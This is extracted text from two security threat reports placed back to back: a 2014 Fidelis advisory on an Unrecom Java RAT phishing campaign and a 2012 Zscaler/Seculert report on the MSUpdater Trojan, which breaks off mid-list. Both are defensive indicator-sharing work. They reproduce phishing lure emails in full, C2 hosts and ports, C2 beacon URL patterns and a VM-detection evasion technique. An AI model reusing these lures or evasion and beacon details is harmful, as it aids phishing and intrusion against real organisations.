Payment details.jar File Name:  Payment details.jar File Size:  43887 bytes MD5:        bd0aba05d8263fb1a9a3adcae01fc3b7 SHA1:       c60551e65cbe54899d1cd1f637b572455dc33b1b The Payment details.jar malware was sent in a phishing email that contained some of the following details: From Arthur Anderson alexanderharoldsarthurandersen[.
]com Subject Payment details Date Fri, 16 May 2014 12:27:27 0000 Attachment Payment details.jar Reply-To alexanderharoldsarthurandersen[.
]com Return-Path alexanderharoldsarthurandersen[.
]com User-Agent Internet Messaging Program (IMP) H5 (6.1.4) Message body Attn.
Please find attached order details and payment coordinates.
kindly confirm if payment details attached are yours so we can commence payment.
Thank you Alexander Harolds The following is a screenshot of the email: The Payment details.jar malware beaconed to morechedder.no-ip[.
]org over port 100.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 6 of 16      RAT in a jar: a phishing campaign using Unrecom 3.
reports-pdf.jar File Name:  reports-pdf.jar File Size:  44237 bytes MD5:        39ad2cab9829ff6a1107b97f1496b499 SHA1:       1e9ab96ace86a45a33c4ff88a97186efb55e51fb The reports-pdf.jar malware was sent in a phishing email that contained some of the following details: From Police Department cmmdssbt.co[.
]in Subject Transfer Investigation report Date Mon, 05 May 2014 07:34:35 -0700 Attachment reports-pdf.jar Message body We recieved a report against the attached transaction in your exchange house , Kindly report to our nearest station immedietly.
A copy has been sent to cso_[removed_by_analyst].com and investigationpoliceheadquater[.
]com Police Investigation Department --- Disclaimer --- The information in this mail is confidential and is intended solely for addressee.
Access to this mail by anyone else is unauthorised.
Copying or further distribution beyond the original recipient may be unlawful.
Any opinion expressed in this mail is that of sender and does not necessarily reflect that of State Bank group.
---
The following is a screenshot of the email: The reports-pdf.jar malware beaconed to 184.22.201[.
]27 over port 3030.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 7 of 16      RAT in a jar: a phishing campaign using Unrecom 4.
US25k.jar File Name:  US25k.jar File Size:  43853 bytes MD5:        ccfbc03a5beb1adb66f058b1f5a84d98 SHA1:       cfd0a4d6535f6323e4423bbd07027d294887ea25 The US25k.jar malware was sent in a phishing email that contained some of the following details: From Milker Trading Ltd rbecerrapauluhn.com[.
]mx Subject US25,000 TT COPY ATTACHED Date Wed, 14 May 2014 03:28:43 -0500 Attachment US25k.jar X-Get-Message-Sender-Via\ authenticated_id rbecerrapauluhn.com[.
]mx X-AntiAbuse Sender Address Domain - pauluhn.com[.
]mx User-Agent SquirrelMail/1.4.22 Message body Hello, We have not received any email from you again regarding the previous Inquiry.
Please see attached the TT Copy of the USD25,000 as directed by our sales Manager.
Kindly check and confirm to me the date of dispatch of our last order.
Regards Milker Trading Ltd Auggenthal 1 94140 Ering Mexico.
The US25k.jar malware beaconed to toba.no-ip[.
]biz over port 1505.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 8 of 16      RAT in a jar: a phishing campaign using Unrecom 5.
Payment Invoice.jar File Name:  Payment Invoice.jar File Size:  44237 bytes MD5:        44f011702ff80b337124d4879607f6b1 SHA1:       b2474bffcbeaabdd111f3909075fc7f556901c62 The Payment Invoice.jar malware was sent in a phishing email that contained some of the following details: From Johnson Kelly johnsonkelly52live[.
]com Subject Thank you Date Sat, 10 May 2014 10:45:55 -0700 Attachment Payment Invoice.jar Return-Path johnsonkelly52live[.
]com Message Here is the invoice The Payment Invoice.jar malware beaconed to greengreen1.no-ip[.
]biz over port 100.
6.
INV94586.jar File Name:  INV94586.jar File Size:  43885 bytes MD5:        06c2760060d41533b36572ae3c1ba2df SHA1:       0350f53a821933e05bf82508b1e458c83d37b7c8 The INV94586.jar malware was sent in a phishing email that contained some of the following details: From Diosdado kdiosdadolilbello[.
]com Subject FW: URGENT CONFIRMATION P/I 94578 Date 11 May 2014 19:10:47 -0700 Attachment INV94586.zip Disposition-Notification- To salesttc-qroup[.
]com Message body Good Day, Please find the attached document.
Regards, Diosdado Procurement Officer Mobile: 966 54 073 5573 Tel.
:
966 13 341 9915, Ext.
283 Fax: 966 13 340 4869 Email: diosdadolilbello[.
]com P.O Box 11976, Jubail - 31961.
SA www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 9 of 16      RAT in a jar: a phishing campaign using Unrecom The INV94586.jar malware beaconed to 192.95.21[.
]44 over port 1511.
-
Hold-transactions-pdf.jar, and verification-docx.jar File Name:  Hold-transactions-pdf.jar, and verification-docx.jar File Size:  44292 bytes MD5:        bc84b115d98988c5489d6acf96046b78 SHA1:       33731d6a7360719566391a7c4395abb090d02d0f The Hold-transactions-pdf.jar/verification-docx.jar malware was sent in a phishing email that contained some of the following details: From Compliance Verification abdul.razzakuaeexchange[.
]com Subject ComFirm transactions before release Date Sun, 18 May 2014 16:31:12 -0700 Attachment Hold-transactions-pdf.jar, and verification-docx.jar Message body Please urgently confirm the attached transactions for compliance, sign and send a copy to infocompliance.com and must come from farralescbalrajhibank.com.sa Monetary Compliance The following is a screenshot of the email: The Hold-transactions-pdf.jar/verification-docx.jar malware beaconed to 184.22.201[.
]27 over port 3030.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 10 of 16      RAT in a jar: a phishing campaign using Unrecom 7.
DBC_BANK_IMG_23456_156.jar File Name:  DBC_BANK_IMG_23456_156.jar File Size:  50508 bytes MD5:        fca329c46f50e031597babe07fee46a8 SHA1:       5c1a2351749c864a38473aafe1146de4eb4de40d The DBC_BANK_IMG_23456_156.jar malware is a corrupted file, but it was sent in a phishing email that contained some of the following details: From remittancedbcbank[.
]com remittance_dbcbank1aol[.
]com Subject Remittance Error 2089/234- Reported lost of data (Complete and email back) Date Tue, 22 Apr 2014 02:19:27 -0400 (EDT) Attachment DBC_BANK_IMG_23456_156.jar X-MB-Message-Source WebUI X-mailer SCM X-Originating-IP 41.138.184[.
]85 Message body kindly find attached our bank online java documents for your reference,corrct details on the marked boxes and email back to me.
do not hesitate to contact me if need be.
regards Mary Alidu Swift Admin, Kurdsitan Intl Bank For Inv And Dev KIB.
P.O Box 11129-00400 Nairobi, Kenya www.dubai-bank.co.ke email: mary.alidudbcbank.com remittancedbcbank.com Tel: (254) 020 31109 254-66-2112006 IMPORTANT: This e-mail (including all attachments) is intended solely forB the use of individual or entity to whom it is addressed and may contain confidential and privileged information.
If you have received it in error,r please contact us immediately by return e-mail and delete it from your system.
Please note that the sender shall not be liable for the improperBR this communication , nor for any delay in its receipt or damage to your system.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 11 of 16      RAT in a jar: a phishing campaign using Unrecom The following is a screenshot of the email: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 12 of 16      RAT in a jar: a phishing campaign using Unrecom 8.
lremit_Transfer_Error_Page.jar File Name:  lremit_Transfer_Error_Page.jar File Size:  43861 bytes MD5:        8811a91e0ef5b181b1f0433d913faaaf SHA1:       ca771a56a8e63565b0638e84bac0db0e6c0fadf8 The lremit_Transfer_Error_Page.jar malware was sent in a phishing email that contained some of the following details: From  ..
[O.N.Mishinchelindbank[.
]ru] Subject Transfer error, kindly reverse to us.
Date Mon, 5 May 2014 09:47:22 0600 Attachment lremit_Transfer_Error_Page.jar Return-Path O.N.Mishinchelindbank[.
]ru Message body -------- Original Message -------- Subject:  Transfer error, kindly reverse to us.
Date:  Sun, 4 May 2014 00:42:37 -0400 (EDT) From:  swiftificbankbd.com herat.telexaol.com To:  [removed_by_analyst] Greetings, Please kindly refund the attached payment sent to your bank, it was an application error from our bank.
Your sincere cooperation will be appreciated.
Attached is the proof of transfer Iremit Transfer Error Page With warm regards Branch Manager Head Office BDBL Building (8th - 10th  16th - 19th Floor) 8, Rajuk Avenue G.P.O Box  2229 Dhaka-1000 Bangladesh Telephone: 95603820 Fax: 880-2-95602085 880-2-716344 Swift: IFIC BD DH E-mail: swiftificbankbd.com ---------------------------------------------------------------------- The information transmitted, including any content in this communication is confidential, is intended only for the use of the intended recipient and is the property of The Western Union Company or its affiliates and subsidiaries.
If you are not the intended recipient, you are hereby notified that any use of the information contained in or transmitted with the communication or dissemination, distribution, or copying of this communication is strictly prohibited.
If you have received this communication in error, please notify the Western Union sender immediately by replying to this message and delete the original message www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 13 of 16      RAT in a jar: a phishing campaign using Unrecom The following is a screenshot of the email: Iremit Transfer Error Page, in the above email, has a link pointing to http://radaxis[.
]by/images/sola/httpsiremit.com.aui-remit-to-the-philippines-cheapest-remittance- service-for-pinoy-in-australi.zip The lremit_Transfer_Error_Page.jar malware beaconed to resultpage92.no-ip[.
]biz over port 5353.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 14 of 16      RAT in a jar: a phishing campaign using Unrecom Summary of Indicators: Email Subject Filename MD5 File Hash CnC Port Invitation Invitation.jar 859c4c667dd0f44f80b60242d93c4b0f magnumbiz.no- ip[.
]biz 1505 Payment details Payment details.jar bd0aba05d8263fb1a9a3adcae01fc3b7 morechedder.no- ip[.
]org 100 Transfer Investigation report reports-pdf.jar 39ad2cab9829ff6a1107b97f1496b499 184.22.201[.
]27 3030 US25,000 TT COPY ATTACHED US25k.jar ccfbc03a5beb1adb66f058b1f5a84d98 toba.no-ip[.
]biz 1505 Thank you Payment Invoice.jar 44f011702ff80b337124d4879607f6b1 greengreen1.no- ip[.
]biz 100 INV94586.jar FW: URGENT CONFIRMATION P/I 94578 06c2760060d41533b36572ae3c1ba2df 192.95.21[.
]44 1511 ComFirm transactions before release Hold-transactions-pdf.jar verification-docx.jar bc84b115d98988c5489d6acf96046b78 184.22.201[.
]27 3030 Remittance Error 2089/234- Reported lost of data (Complete and email back) DBC_BANK_IMG_23456_15 6.jar fca329c46f50e031597babe07fee46a8 N/A N/A Transfer error, kindly reverse to us.
lremit_Transfer_Error_Page .jar 8811a91e0ef5b181b1f0433d913faaaf resultpage92.no- ip[.
]biz 5353 Remittance Error 2089/234- Reported lost of data (Complete and email back) DBC_BANK_IMG_23456_15 6.jar 8842ce373c910c012a0aa58e37b3d080 magawalton.no- ip[.
]biz 1505 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 15 of 16      RAT in a jar: a phishing campaign using Unrecom Further Analysis And Correlation One simple example of how the emails in this phishing campaign are related is that the Command and Control node (184.22.201[.
]27) that the malware communicates with is shared by two separate phishing emails in this campaign, as shown in the diagram below.
Beginning at the top of the diagram and working down, on the left side of the diagram are two phishing emails, the details of which are referenced in the pages above as item numbers 2  3.
Of note, these phishing emails were sent to users at two separate and unrelated organizations.
As you can see, when compared to each other, these messages appear completely unrelated, other than the fact they both contain jar files that are sophomorically obfuscated as pdf.jar files.
Note that both the subjects, Transfer investigation report and Confirm transactions before release are comparatively unique as are the senders , Police Department cmmdssbt.co[.
]in and Arthur Anderson alexanderharoldsarthurandersen[.
]com.
In addition to the fact that the emails share no attributes, the malicious attachments are also unrelated.
Finally, and of most interest in this diagram, the central node at the bottom of the diagram, represents the Command and Control node (184.22.201[.
]27) used by these two examples.
While this shared resource is noteworthy, of particular interest is that it has also been used in other campaigns.
On the right side of the diagram are files used in two other campaigns using the ArcomRAT8 and DarkComet6,7, The fact that they share the same command-and-control infrastructure as the UnrecomRat campaign make this central node all the more interesting.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory 1013 Page 16 of 16      RAT in a jar: a phishing campaign using Unrecom The Fidelis Take This paper seeks to highlight this campaign targeting significant enterprises worldwide, utilizing a Java- based RAT malware that is currently detected by a small set of security tools.
We are publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated.
Fidelis XPS, the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity Solutions detects all of the activity documented in this paper.
The Fidelis Threat Research Team will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security.
References 1.
Adwind RAT Rebranding, Nov 2013: http://www.crowdstrike.com/blog/adwind-rat- rebranding/index.html 2.
Targeted Attacks Delivering Fruit, Aug 2013: http://www.symantec.com/connect/blogs/targeted- attacks-delivering-fruit 3.
Remote Access Tool Takes Aim with Android APK Binder, Jul 2013: http://www.symantec.com/connect/blogs/remote-access-tool-takes-aim-android-apk-binder 4.
Old Java RAT Updates, Includes Litecoin Plugin, Apr 2014: http://blog.trendmicro.com/trendlabs- security-intelligence/old-java-rat-updates-includes-litecoin-plugin/ 5.
Cross-Platform Frutas RAT Builder and Back Door, Feb 2013: http://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door 6.
DarkComet Analysis  Understanding the Trojan used in Syrian Uprising, Mar 2012: http://resources.infosecinstitute.com/darkcomet-analysis-syria/ 7.
DarkComet RAT - It is the END, Jul 2012: http://www.symantec.com/connect/blogs/darkcomet-rat-it-end 8.
Tsunami Warning Leads to Arcom RAT, Nov 2012 http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/
The MSUpdater Trojan And Ongoing Targeted Attacks A Zscaler and Seculert Joint Report 2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Contents CONTENTS ................................................................................................................... 1 OVERVIEW ................................................................................................................... 1 MSUPDATER TROJAN INCIDENTS OBSERVED ............................................................. 2 OSINT AGGREGATION AND CORRELATION ................................................................... 2 INFECTION VECTOR: PHISHING EMAIL WITH MALICIOUS ATTACHMENT ........................ 3 RELATED BACKDOOR / BEACONING PATTERN .................................................................. 3 SEPTEMBER 2010 CVE-2010-2883 PDF PHISH ................................................................ 5 SEPTEMBER 23, 2010 ISSNIP PHISHING EMAIL WITH MALICIOUS ATTACHMENT.8 RELATED ANTIVIRUS VENDOR FAMILY NAMES .......................................................... 9 CONFERENCE LURE ................................................................................................. 10 CLOSING REMARKS .................................................................................................... 11 APPENDIX A: CONSOLIDATED LIST OF MALICIOUS MD5 HASHES ................................ 13 Overview Researchers from Zscaler and Seculert separately identified incidents and threats discussed in this report.
Within a private security forum we discussed and determined that we had identified related incidents.
Zscaler and Seculert collaborated on this report to aggregate and correlate our findings along with open-source intelligence (OSINT) to detail a lesser-known MSUpdater remote access Trojan (RAT) and its linkage to current targeted attacks and others dating back to at least early 2009.
Foreign and domestic (United States) companies with intellectual property dealing in aero/geospace and defense seem to be some of the recent industries targeted in these attacks.
The goal of this report is to aggregate information, draw some correlations, and provide an overview of this threat to facilitate its identification, detection, and functionality.
With this goal in mind, we also aim not to reveal anything that might disrupt any investigations or state something without additional open- source corroboration.
We as security researchers believe that our success is not measured by how much information we collect, but in how we use and share the information to better secure and protect the Internet community from threats.
We hope that the information within this report helps to detect and remediate this threat within organizations.
2  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
MSUpdater Trojan Incidents Observed Zscaler and Seculert separately identified security incidents where infected customers in the fore- mentioned industries had command and control (CC) beacons matching the below patterns.
Standard Microsoft Internet Explorer user-agent strings (versions 6  8) were observed for the CC communications.
The most often observed pattern, and likely the CC check-in behavior followed the pattern: HTTP GET requests to the path: /microsoftupdate/getupdate/default.aspx?ID[num1]para1[num2]para2[num3]para3[num4 ] Where the [num] fields are placeholders for parameters passed by the victim in the form of numbers.
Other patterns observed from the infected hosts to the CCs were: HTTP GET and POST requests to the path: /microsoft/errorpost/default/connect.aspx?ID[num1] HTTP POSTs to the path: /microsoft/errorpost/default.aspx?ID[num1] Clearly the above patterns are trying to appear as though they are related to Microsofts Windows Update service versus something malicious.
A clear, common name for this particular threat did not seem to emerge in the open-source, so we have commonly referred to this threat family as the MSUpdater Trojan.
The first time this pattern was logged in traffic traversing Zscalers Cloud infrastructure was on 12/25/2010 (Christmas day).
It is likely that the Christmas day infection resulted from a targeted phishing email as related attacks in this report identify this as the infection vector.
No suspicious web transactions were observed from the infected host prior to the CC beaconing.
Seculert FogSense Cloud-based service observed instances of this same infected beaconing pattern for their customers as early as March 2010.
Zscaler and Seculert each identified these infections separately by conducting traffic analysis to identify previously unknown threats to then protect their customers.
Open-source intelligence (OSINT) on the beaconing patterns we observed provided additional information to this previous threat.
OSINT Aggregation and Correlation In addition to industry collaboration to better understand and protect against threats, Google or more specifically OSINT is a valuable resource when looking into unidentified threats.
The following provides some details about what is known and has been discussed in the open-source related to this threat.
3  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Infection Vector: Phishing Email with Malicious Attachment A publicly available presentation from Sword  Shield Enterprise Security Inc.1 includes a slide discussing the correlation of a malicious phishing attachment to CC beaconing that resembles the same pattern identified above.
Specifically, the presentation provides a screenshot of an associated malicious phishing email showing that it was sent April 28, 2011 with the subject Information for Contractor and chap6.pdf attachment: Figure 1 Screenshot of 4/28/2011 Phish The presentation then goes on to show that opening the PDF attachment exploited a vulnerability and caused a process named GoogleTray.exe to launch and connect to: mail.hfmforum.com/microsoftupdate/getupdate/default.aspx Related Backdoor / Beaconing Pattern By linking domain registration information from some of the CCs observed, we were able to determine other CC domains used by this malicious actor/group.
A specific example of this was the following registration information observed in a MSUpdater Trojan CC domain: 1 http://ilta.ebiz.uapps.net/ProductFiles/productfiles/782804/2011siems.pptx 4  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Figure 2 WHOIS information for CC domains This contact information was used in other domains that have some open-source reports on CC usage, for example: SISEAU.COM VSSIGMA.COM These domains have open-source reports tied to malware samples with MD5 hashes: 3459BC37967480DEE405A5AC678B942D2 6631815D4AB2A586021C24E02E5CC4513 Communication to these domains was also observed with the following CC communication path pattern: /search[RndNum1]?h1[Num1]h2[Num2]h3[String1]h4[String2] For example: /search521649?h151h21h3N07630h4FKFDFDAHAEBAEPFLFK The number of parameters in these search beacons closely resembles that in the previously mentioned para beacons.
However, the previously mentioned para beacons appear to use a different encoding.
These related samples also have VirusTotal reports4,5 which provide additional details about the binaries and how they are being detected.
Specifically: 2 http://www.malware-control.com/statics-pages/3459bc37967480dee405a5ac678b942d.php 3 http://www.threatexpert.com/report.aspx?md56631815d4ab2a586021c24e02e5cc451 4 https://www.virustotal.com/file/6a237ffe0f7d84ffd9652662a2638a9b5212636b414ce15ea2e39204d2a24e7f/analysis/1267308842/ 5 https://www.virustotal.com/file/75d3c3875744196cedff55d179bc62412adeba5e769fbfc85b2b891ff32b4f9f/analysis/1265252262/ 5  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
MD5: 3459BC37967480DEE405A5AC678B942D VirusTotal timeframe: 02/06/2010  02/27/2010 The file name is wuauclt.exe with Microsoft Corporation as the publisher (this publisher string was observed in other related samples as well) MD5: 6631815D4AB2A586021C24E02E5CC451 VirusTotal timeframe: 08/18/2009  02/04/2010 ThreatExport report shows backdoor on 1033/TCP Packed with Armadillo (identified in other related samples as well) Antivirus detection for both samples indicate that it is a Backdoor Agent, however, DrWeb specifically calls these samples something a bit unique: BackDoor.
Calla.5 where Calla is the family (added to their detection 02/02/2009)6 and 5 is the variant.
Searching for other malware / incidents that exhibit this similar search / h1 beaconing pattern shows a number of related open-source examples, as discussed in the following sections.
September 2010 CVE-2010-28837 PDF Phish September 16, 2010 the blog Contagio detailed a malicious phishing campaign exploiting a buffer overflow vulnerability in the Adobe PDF reader8.
At the time, this was a 0-day exploit, as a patch was not released by Adobe until October 5, 2010.
The exploit was contained in the attachment: INTEREST__FOREIGN_EXCHANGE_RATES.pdf o MD5: 4EF704239FA63D1C1DFCF2EA2DA0D7119 This PDF dropped a similar set of files: setup.exe: o MD5: 95D42D365489A6E5EBDF62565C5C8AA2 o Sophos uniquely detects10 as Mal/Ovoxual-A (detection added 07/19/2010)11 o Which creates FAVORITES.DAT (data file) and launches msupdater.exe12 msupdater.exe: o MD5: 374075CE8B6E8F0CD1F90009FD5A703B 6 http://vms.drweb.com/virus/?i225137 7 http://www.adobe.com/support/security/advisories/apsa10-02.html 8 http://contagiodump.blogspot.com/2010/09/sep-16-cve-2010-2883-pdf-interest.html 9 https://www.virustotal.com/file/daac83fc4af5c53068c4e5a29dadfdc5200e3b3fc2b491eebe0a4bc19ec9e3f2/analysis/1285731514/ 10 https://www.virustotal.com/file/ecefcd2f2b862e987ea4b6b7d475c924d9662ad955096872a2c5b822901c63b3/analysis/ 11 http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/MalOvoxual-A/detailed-analysis.aspx 12 http://anubis.iseclab.org/?actionresulttask_id14495366b24a64d242d1946aa1e3a88beformathtml 6  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
o Sophos uniquely detects13 as Mal/ Ovoxual-B (added 07/19/2010)14 o Sandbox reports for this sample generally fail15 showing the following dialog box: Figure 3 ThreatExpert Malware Failure Dialog Box System runtime analysis showed an initial malformed Google query: www.google.com/search?qu Figure 4 Malformed Google PCAP During Run-Time Analysis Followed by failed connection attempts to: 140.112.19.195 (National Taiwan University) A further detailed static analysis on this msupdate.exe / FAVORITES.DAT sample was completed by CyberESI16.
In their report they discuss that the setup.exe dropper is virtual machine (VM) aware by using the SIDT instruction17  if a VM is detected, the msupdate.exe Trojan is not dropped.
The msupdate.exe Trojan too is VM aware using the same SIDT method  if a VM is not detected then the Trojan RC4 decrypts the FAVORITES.DAT file and spawns a svchost.exe process which conducts the network CC check-ins.
This evasion is the reason for the above shown failed sandboxing analysis that does not include any network activity.
The decrypted FAVORITES.DAT executable for this sample had an MD5 hash of: 13 www.virustotal.com/file-scan/report.html?id043935374ce39637a4816d0a484d30bed1d3054bbe89625fbc22f83ef4cb3e04-1285736283 14 http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/MalOvoxual-B/detailed-analysis.aspx 15 http://www.threatexpert.com/report.aspx?md5374075ce8b6e8f0cd1f90009fd5a703b 16 http://www.cyberesi.com/2011/03/17/msupdate-exe-favorites-dat-analysis/ 17 http://www.securiteam.com/securityreviews/6Z00H20BQS.html 7  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
5E3EACA3806769836C3AD9D46A20964418 o Microsoft and a few other A/V vendors detect as Backdoor Matchaldru.
B o DrWeb uses their same Calla family: Backdoor.
Calla.16 o The VirusTotal timeframe for submissions of this decrypted executable are from: 03/15/2011  04/20/2011.
Here is the Google decoy beacon made by the Trojan: Figure 5 Initial Malformed Google HTTP Request Followed by the initial CC check-in request: Figure 6 Related Malware CC Initial Check-In Request The check-in request values correspond to the following meanings: The h1 parameter value corresponds to the Windows version, 51  Windows XP (version 5.1) The h4 parameter value is a victim identification string created by encoding the volume serial number of the victims system concatenated with a random number The string within the user-agent (BKANAHEAFPEM) is the result of an encoding of the victim machine name The number following search5 in the path is random The remaining are hard-coded in the Trojan.
The BHI06233 string is thought to be related to the actors group of related targets or campaign, where BHI may stand for Baker Hughes 18 https://www.virustotal.com/file/d8a976979d4eeaf7485249c49d4a31824638a49dac308c5114c113b4a3eed9c9/analysis/1300216834/ 8  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
International who along with other companies in the oil, gas, and energy sector were the focus of some targeted attacks.19 The data in the check-in HTTP communication to and from the CC are encoded using single-byte XORing and is treated as authentication into the botnet.
Once authenticated, the victim uses the following check-in beacons: HTTP GET: /search6[RndNum]?h1[VictimId] o Where VictimId is the same string identifying the victim machine as the previously used h4 parameter value.
User-Agent: Mozilla/5.0 (compatible Windows NT 5.2) o Note that the user-agent changed to a hard-coded string versus using the encoded system name in the initial check-in.
Some of the Trojan functionality includes: Download file from CC: o HTTP GET: /download7[RndNum]?h1[VictimId] Upload file to CC: o HTTP POST: /upload8[RndNum]?h1[VictimId] Command execution response to CC: o HTTP POST: /search2[RndNum]?h1[VictimId] There are over a dozen other commands identified in the Trojan listed in the CyberESI report.
September 23, 2010 ISSNIP Phishing Email with Malicious Attachment A few days later following the previously detailed incident, another incident with information publicly available was reported in which a phishing email was sent from a Yahoo account to a defense contractor with content about a conference and malicious attachment, ISSNIP_2010.pdf (MD5 hash: 3D966CD90D320EA4A319452D1CCB11AA): Figure 7 Phish Email (9/23/2010) From the analysis, the malicious attachment appeared to have the same functionality as listed in the previous incident  to include the unique dropped files msupdater.exe and FAVORITES.DAT.
19 http://www.bloomberg.com/news/2011-02-24/exxon-shell-bp-said-to-have-been-hacked-through-chinese-internet-servers.html 9  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
Related Antivirus Vendor Family Names In the previously identified samples we have pointed out that certain A/V malware family names are used to identify and classify the fore-mentioned threat.
For example, DrWeb uses Backdoor.
Calla Microsoft and a few other vendors use Backdoor.
Matchaldru Sophos uses Mal/ Ovoxual Using these identifiers, a number of related samples can be found in the open-source.
The following provides a brief list of additional samples believed to be related to this threat group: MD5: 92DBDB7E240E7D7C42B479338078273520 o msupdate.exe packed with Armadillo o First/Last submitted to VirusTotal: 2011-11-04 o Sophos identifies as Mal/Ovoxual-B o McAfee identifies as Muster.d MD5: 3A0FC856F343B730EE58C00BAB09F9E521 o Backdoor.
Calla.16, Mal/Ovoxual-A, packed with Armadillo o First seen 2010-10-08, Last seen: 2011-03-24 o Drops22: MD5: 7C3C964D7F164F2CC277B4154173254623 o msupdater.exe, Mal/Ovoxual-B o First/Last seen: 2010-09-27 MD5: B7424AA1C92107E03DBA8915CEB1FE4D o FAVORITES.DAT (encrypted) MD5: 21816D6934F608E0E3F76AA43831D95924 o Backdoor.
Calla.16, Mal/Ovoxual-A, 2010-10-06 MD5: 53547213038C093EB427974FA0FB4F6525 o Mal/Ovoxual-A, 2010-09-23  2011-06-14 MD5: 0A229293FD0639C722FD7ABD1D1A9C9326 o Matchaldru.
B, Mal/Ovoxual-A, 2011-11-01  2011-11-30 From the above VirusTotal results, it appears that McAfee detects some of these as the Muster threat group.
Using other A/V vendor names and searching and correlating samples in the same way that we did above reveals additional likely related samples.
The following provides a brief abbreviated list of samples listed in the open-source for the purposes of showing the breadth of the threat operation timeframe and some PDF names that shed some light on the types of phishing messages used.
20 https://www.virustotal.com/file/08039422c11ee405af02558704f19c8c53e82749493386a226243ac0f85de20c/analysis/1320449843/ 21 https://www.virustotal.com/file/da3e95eb33c33908ab35b269802ba35fe015e0ad3f0ec7481bcca8b5b96477ca/analysis/ 22 http://www.threatexpert.com/report.aspx?md53a0fc856f343b730ee58c00bab09f9e5 23 https://www.virustotal.com/file/fe0e58b5cad9b1dde19ad87f2470c14879d148c0d271d54e00bb94449a8980fd/analysis/ 24 https://www.virustotal.com/file/d076b318db751cd43e303d26dcaad2d0eab2779185a5facb9aee3754219a322f/analysis/ 25 https://www.virustotal.com/file/5f14bf0b5838f85edcb1bc32a198ec09cf4d73980e73a0783d649e00c91d6771/analysis/ 26 https://www.virustotal.com/file/735fd8ce66e6f0e412f18242d37c12fb38f26f471051eac2f0fe2df89d0e4966/analysis/ 10  2012 Zscaler Inc. and Seculert Ltd. All Rights Reserved.
MD5: FD5DFFEBD39E9ACA4F79107B6889699D (09/24/2010) MD5: 95AFBECB0BDDE89254DBE07A42685B24 (10/11/2010) MD5: 6FF3C8495873AEC4390250EC1ECAA0B1 (04/08/2009) MD5: 2EFBF514FBF58E78C259CC87A668BC35 (06/16/2009), drops: o MD5: AEDCE18F64EB988F342663EC2C01D017 (COMSWARE_2009.1.pdf) o MD5: BDDD2042F5024D2AFC6AA50920E27897 (IEUpd.exe) o MD5: EA12A0DBA22B8B2D2D5662437BED8169 (IEXPLORE.hlp) o MD5: 7F37F7CD9B0C1CE6574FF5C385FCF26F (WMupdate.exe) MD5: 9687E53495898232949DBCD15556B619 (06/16/2009), drops: o MD5: 2F71666B76EC0E51A40EF5DF3170604A (2009_IEEE_Aerospace_Conference_1.pdf) o MD5: 5622E46F27B8BD7665218E26B024E74D (IEUpd.exe) o MD5: D69BB7935DB5FC15542B98845CF83B89 (IEXPLORE.hlp) o MD5: A2B6C71A153E61EAA1FEA0F2A3A0232B (WMupdate.exe) MD5: 6AD5D9C546AC603E18FC109025E2F5B7 (03/19/2010), drops: o MD5: 9C738176C74B7392DD22009736AFC49F (Who will be fired.pdf) o MD5: 1ABC034E85704A0699D598B16C16A37E (WMupdate.exe) MD5: 7B470C530794342632F5025C1B948BB0 (04/08/2009) MD5: 1006e295156b354d9ec4b6d5b6b0ba65 (04/13/2009) drops: o MD5: 2F71666B76EC0E51A40EF5DF3170604A (2009_IEEE_Aerospace_Conference_1.pdf) o MD5: 9AA8DD1A765C44B82654581977C7F2FA (WMupdate.exe) MD5: D78CBD630A1937233B3E4217B19FF5CA (4/13/2009) drops: o MD5: BECDA5D5A1C3199A99018A57E43BA2C7 (Bomber_kills_33_at_Iraq_peace_conference.pdf) o MD5: 7B470C530794342632F5025C1B948BB0 (WMupdate.exe) MD5: 08EB27A6D8F0260D6853BC5A3F5CAA73 